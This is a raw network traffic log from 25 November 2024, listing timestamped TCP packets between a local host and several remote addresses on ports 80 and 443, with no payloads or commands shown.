Nov 25, 2024 03:39:26.914417028 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.915328026 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.915385008 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.915416002 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.915457010 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.916368961 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.916423082 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.916450024 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.916490078 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.917387962 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.917440891 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.917479992 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.917530060 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.918416977 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.918474913 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.918523073 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.918575048 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.919445992 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.919500113 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:28.492810965 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:28.492851973 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:28.492928028 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:28.522042036 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:28.522058010 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:28.742867947 CET	49710	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:28.742925882 CET	443	49710	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:28.743004084 CET	49710	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:28.743707895 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:28.743731022 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:28.743788958 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:28.744019032 CET	49710	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:28.744029999 CET	443	49710	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:28.744184971 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:28.744195938 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:28.813810110 CET	49712	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:28.813852072 CET	443	49712	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:28.813931942 CET	49712	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:28.814213037 CET	49712	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:28.814227104 CET	443	49712	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:30.257951021 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:30.258223057 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:30.258234978 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:30.259308100 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:30.259386063 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:30.260530949 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:30.260595083 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:30.260817051 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:30.260823011 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:30.314250946 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:30.477082014 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:30.477350950 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:30.477376938 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:30.478455067 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:30.478527069 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:30.478835106 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:30.478909016 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:30.479008913 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:30.479018927 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:30.521703005 CET	443	49710	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:30.529417992 CET	49710	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:30.529436111 CET	443	49710	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:30.530503988 CET	443	49710	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:30.530590057 CET	49710	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:30.531214952 CET	49710	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:30.531267881 CET	443	49710	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:30.531521082 CET	49710	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:30.531528950 CET	443	49710	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:30.533335924 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:30.536674976 CET	443	49712	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:30.536916971 CET	49712	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:30.536945105 CET	443	49712	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:30.537971020 CET	443	49712	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:30.538023949 CET	49712	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:30.538599968 CET	49712	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:30.539189100 CET	443	49712	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:30.580224991 CET	49712	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:30.580243111 CET	443	49712	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:30.580302000 CET	49710	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:30.627089024 CET	49712	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:30.640649080 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:30.640712976 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:31.120810032 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.120965004 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.121020079 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.123265982 CET	49709	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.123282909 CET	443	49709	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.348656893 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.348705053 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.348735094 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.348754883 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.348766088 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.348778963 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.348810911 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.361963034 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.362014055 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.362030983 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.368139029 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.368194103 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.368202925 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.380677938 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.380734921 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.380747080 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.401864052 CET	443	49710	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.402015924 CET	443	49710	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.402065992 CET	49710	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.402765036 CET	49710	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.402776003 CET	443	49710	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.423779011 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.468029976 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.517712116 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.517729044 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.549781084 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.551817894 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.551834106 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.553550005 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.556076050 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.556083918 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.566342115 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.567789078 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.567797899 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.575139999 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.575650930 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.575659990 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.586401939 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.587590933 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.587599039 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.599231958 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.599288940 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.599298000 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.612840891 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.613007069 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.613014936 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.625489950 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.625546932 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.625555038 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.638184071 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.638242006 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.638248920 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.650924921 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.650978088 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.650989056 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.663606882 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.663678885 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.663686991 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.673561096 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.673633099 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.673644066 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.720858097 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.750930071 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.753140926 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.753213882 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.753222942 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.757903099 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.757965088 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.757973909 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.762887955 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.762965918 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.762974977 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.769761086 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.769814014 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.769821882 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.774189949 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.774241924 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.774249077 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.780155897 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.780210972 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.780220032 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.788908958 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.789041996 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.789108992 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.789119005 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.789164066 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.800308943 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.811902046 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.811964989 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.811974049 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.823384047 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.823465109 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.823483944 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.823493004 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.823539972 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.833894968 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.844547987 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.844611883 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.844623089 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.854645014 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.854712009 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.854720116 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.870592117 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.870628119 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.870656013 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.870668888 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.870979071 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.875421047 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.883047104 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.883146048 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.883215904 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.883224010 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.883274078 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.891447067 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.899874926 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.899949074 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.900016069 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.900024891 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.900073051 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.908130884 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.916470051 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.916512012 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.916543007 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.916552067 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.916594028 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.917776108 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.926160097 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.926217079 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.926225901 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.931412935 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.931535006 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.931543112 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.971522093 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.971568108 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.971586943 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.974385023 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.974452972 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.974462032 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.977277040 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.977333069 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.977340937 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.980182886 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.980318069 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.980328083 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.983119965 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.983191013 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.983216047 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.985981941 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.986030102 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.986053944 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.988868952 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.988934994 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.988945961 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.991744041 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.991820097 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.991827965 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.991842985 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:31.991889000 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.992602110 CET	49711	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:31.992614985 CET	443	49711	172.217.21.36	192.168.2.8
Nov 25, 2024 03:39:32.483686924 CET	49720	443	192.168.2.8	172.202.163.200
Nov 25, 2024 03:39:32.483732939 CET	443	49720	172.202.163.200	192.168.2.8
Nov 25, 2024 03:39:32.483831882 CET	49720	443	192.168.2.8	172.202.163.200
Nov 25, 2024 03:39:32.485532045 CET	49720	443	192.168.2.8	172.202.163.200
Nov 25, 2024 03:39:32.485546112 CET	443	49720	172.202.163.200	192.168.2.8
Nov 25, 2024 03:39:33.406570911 CET	49721	443	192.168.2.8	184.30.17.174
Nov 25, 2024 03:39:33.406615973 CET	443	49721	184.30.17.174	192.168.2.8
Nov 25, 2024 03:39:33.406697989 CET	49721	443	192.168.2.8	184.30.17.174
Nov 25, 2024 03:39:33.407746077 CET	49721	443	192.168.2.8	184.30.17.174
Nov 25, 2024 03:39:33.407758951 CET	443	49721	184.30.17.174	192.168.2.8
Nov 25, 2024 03:39:34.016758919 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:34.017056942 CET	49724	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:34.136164904 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:34.136495113 CET	80	49724	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:34.136584997 CET	49724	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:34.138534069 CET	49724	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:34.194384098 CET	443	49720	172.202.163.200	192.168.2.8
Nov 25, 2024 03:39:34.194447041 CET	49720	443	192.168.2.8	172.202.163.200
Nov 25, 2024 03:39:34.208049059 CET	49720	443	192.168.2.8	172.202.163.200
Nov 25, 2024 03:39:34.208065987 CET	443	49720	172.202.163.200	192.168.2.8
Nov 25, 2024 03:39:34.208316088 CET	443	49720	172.202.163.200	192.168.2.8
Nov 25, 2024 03:39:34.252393961 CET	49720	443	192.168.2.8	172.202.163.200
Nov 25, 2024 03:39:34.257955074 CET	80	49724	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:34.835305929 CET	443	49721	184.30.17.174	192.168.2.8
Nov 25, 2024 03:39:34.835377932 CET	49721	443	192.168.2.8	184.30.17.174
Nov 25, 2024 03:39:34.837805033 CET	49721	443	192.168.2.8	184.30.17.174
Nov 25, 2024 03:39:34.837814093 CET	443	49721	184.30.17.174	192.168.2.8
Nov 25, 2024 03:39:34.838076115 CET	443	49721	184.30.17.174	192.168.2.8
Nov 25, 2024 03:39:34.888977051 CET	49721	443	192.168.2.8	184.30.17.174
Nov 25, 2024 03:39:34.935339928 CET	443	49721	184.30.17.174	192.168.2.8
Nov 25, 2024 03:39:35.355321884 CET	443	49721	184.30.17.174	192.168.2.8
Nov 25, 2024 03:39:35.355377913 CET	443	49721	184.30.17.174	192.168.2.8
Nov 25, 2024 03:39:35.355429888 CET	49721	443	192.168.2.8	184.30.17.174
Nov 25, 2024 03:39:35.355493069 CET	49721	443	192.168.2.8	184.30.17.174
Nov 25, 2024 03:39:35.355514050 CET	443	49721	184.30.17.174	192.168.2.8
Nov 25, 2024 03:39:35.355534077 CET	49721	443	192.168.2.8	184.30.17.174
Nov 25, 2024 03:39:35.355540037 CET	443	49721	184.30.17.174	192.168.2.8
Nov 25, 2024 03:39:35.408621073 CET	49727	443	192.168.2.8	184.30.17.174
Nov 25, 2024 03:39:35.408659935 CET	443	49727	184.30.17.174	192.168.2.8
Nov 25, 2024 03:39:35.408716917 CET	49727	443	192.168.2.8	184.30.17.174
Nov 25, 2024 03:39:35.409200907 CET	49727	443	192.168.2.8	184.30.17.174
Nov 25, 2024 03:39:35.409213066 CET	443	49727	184.30.17.174	192.168.2.8
Nov 25, 2024 03:39:35.583431005 CET	49729	443	192.168.2.8	172.217.17.78
Nov 25, 2024 03:39:35.583477020 CET	443	49729	172.217.17.78	192.168.2.8
Nov 25, 2024 03:39:35.583631992 CET	49729	443	192.168.2.8	172.217.17.78
Nov 25, 2024 03:39:35.583843946 CET	49729	443	192.168.2.8	172.217.17.78
Nov 25, 2024 03:39:35.583856106 CET	443	49729	172.217.17.78	192.168.2.8
Nov 25, 2024 03:39:35.753603935 CET	49720	443	192.168.2.8	172.202.163.200
Nov 25, 2024 03:39:35.795344114 CET	443	49720	172.202.163.200	192.168.2.8
Nov 25, 2024 03:39:36.034548044 CET	80	49724	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:36.034673929 CET	49724	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:36.223535061 CET	49724	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:36.320286989 CET	443	49720	172.202.163.200	192.168.2.8
Nov 25, 2024 03:39:36.320313931 CET	443	49720	172.202.163.200	192.168.2.8
Nov 25, 2024 03:39:36.320321083 CET	443	49720	172.202.163.200	192.168.2.8
Nov 25, 2024 03:39:36.320344925 CET	443	49720	172.202.163.200	192.168.2.8
Nov 25, 2024 03:39:36.320375919 CET	49720	443	192.168.2.8	172.202.163.200
Nov 25, 2024 03:39:36.320401907 CET	443	49720	172.202.163.200	192.168.2.8
Nov 25, 2024 03:39:36.320410967 CET	443	49720	172.202.163.200	192.168.2.8
Nov 25, 2024 03:39:36.320425987 CET	49720	443	192.168.2.8	172.202.163.200
Nov 25, 2024 03:39:36.320458889 CET	49720	443	192.168.2.8	172.202.163.200
Nov 25, 2024 03:39:36.339611053 CET	443	49720	172.202.163.200	192.168.2.8
Nov 25, 2024 03:39:36.339685917 CET	49720	443	192.168.2.8	172.202.163.200
Nov 25, 2024 03:39:36.339699984 CET	443	49720	172.202.163.200	192.168.2.8
Nov 25, 2024 03:39:36.339711905 CET	443	49720	172.202.163.200	192.168.2.8
Nov 25, 2024 03:39:36.339754105 CET	49720	443	192.168.2.8	172.202.163.200
Nov 25, 2024 03:39:36.343056917 CET	80	49724	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:36.472394943 CET	49729	443	192.168.2.8	172.217.17.78
Nov 25, 2024 03:39:36.472429991 CET	49712	443	192.168.2.8	172.217.21.36
Nov 25, 2024 03:39:36.878349066 CET	443	49727	184.30.17.174	192.168.2.8
Nov 25, 2024 03:39:36.878423929 CET	49727	443	192.168.2.8	184.30.17.174
Nov 25, 2024 03:39:36.883426905 CET	49727	443	192.168.2.8	184.30.17.174
Nov 25, 2024 03:39:36.883439064 CET	443	49727	184.30.17.174	192.168.2.8
Nov 25, 2024 03:39:36.883735895 CET	443	49727	184.30.17.174	192.168.2.8
Nov 25, 2024 03:39:36.885015965 CET	49727	443	192.168.2.8	184.30.17.174
Nov 25, 2024 03:39:36.931322098 CET	443	49727	184.30.17.174	192.168.2.8
Nov 25, 2024 03:39:37.178066969 CET	80	49724	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:37.181255102 CET	49724	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:37.626554012 CET	443	49727	184.30.17.174	192.168.2.8
Nov 25, 2024 03:39:37.626622915 CET	443	49727	184.30.17.174	192.168.2.8
Nov 25, 2024 03:39:37.626671076 CET	49727	443	192.168.2.8	184.30.17.174
Nov 25, 2024 03:39:37.627810955 CET	49727	443	192.168.2.8	184.30.17.174
Nov 25, 2024 03:39:37.627831936 CET	443	49727	184.30.17.174	192.168.2.8
Nov 25, 2024 03:39:37.627841949 CET	49727	443	192.168.2.8	184.30.17.174
Nov 25, 2024 03:39:37.627850056 CET	443	49727	184.30.17.174	192.168.2.8
Nov 25, 2024 03:39:37.887578964 CET	49720	443	192.168.2.8	172.202.163.200
Nov 25, 2024 03:39:37.887618065 CET	443	49720	172.202.163.200	192.168.2.8
Nov 25, 2024 03:39:37.887634993 CET	49720	443	192.168.2.8	172.202.163.200
Nov 25, 2024 03:39:37.887644053 CET	443	49720	172.202.163.200	192.168.2.8
Nov 25, 2024 03:39:40.741602898 CET	49739	443	192.168.2.8	94.245.104.56
Nov 25, 2024 03:39:40.741657019 CET	443	49739	94.245.104.56	192.168.2.8
Nov 25, 2024 03:39:40.742069006 CET	49739	443	192.168.2.8	94.245.104.56
Nov 25, 2024 03:39:40.768362045 CET	49739	443	192.168.2.8	94.245.104.56
Nov 25, 2024 03:39:40.768410921 CET	443	49739	94.245.104.56	192.168.2.8
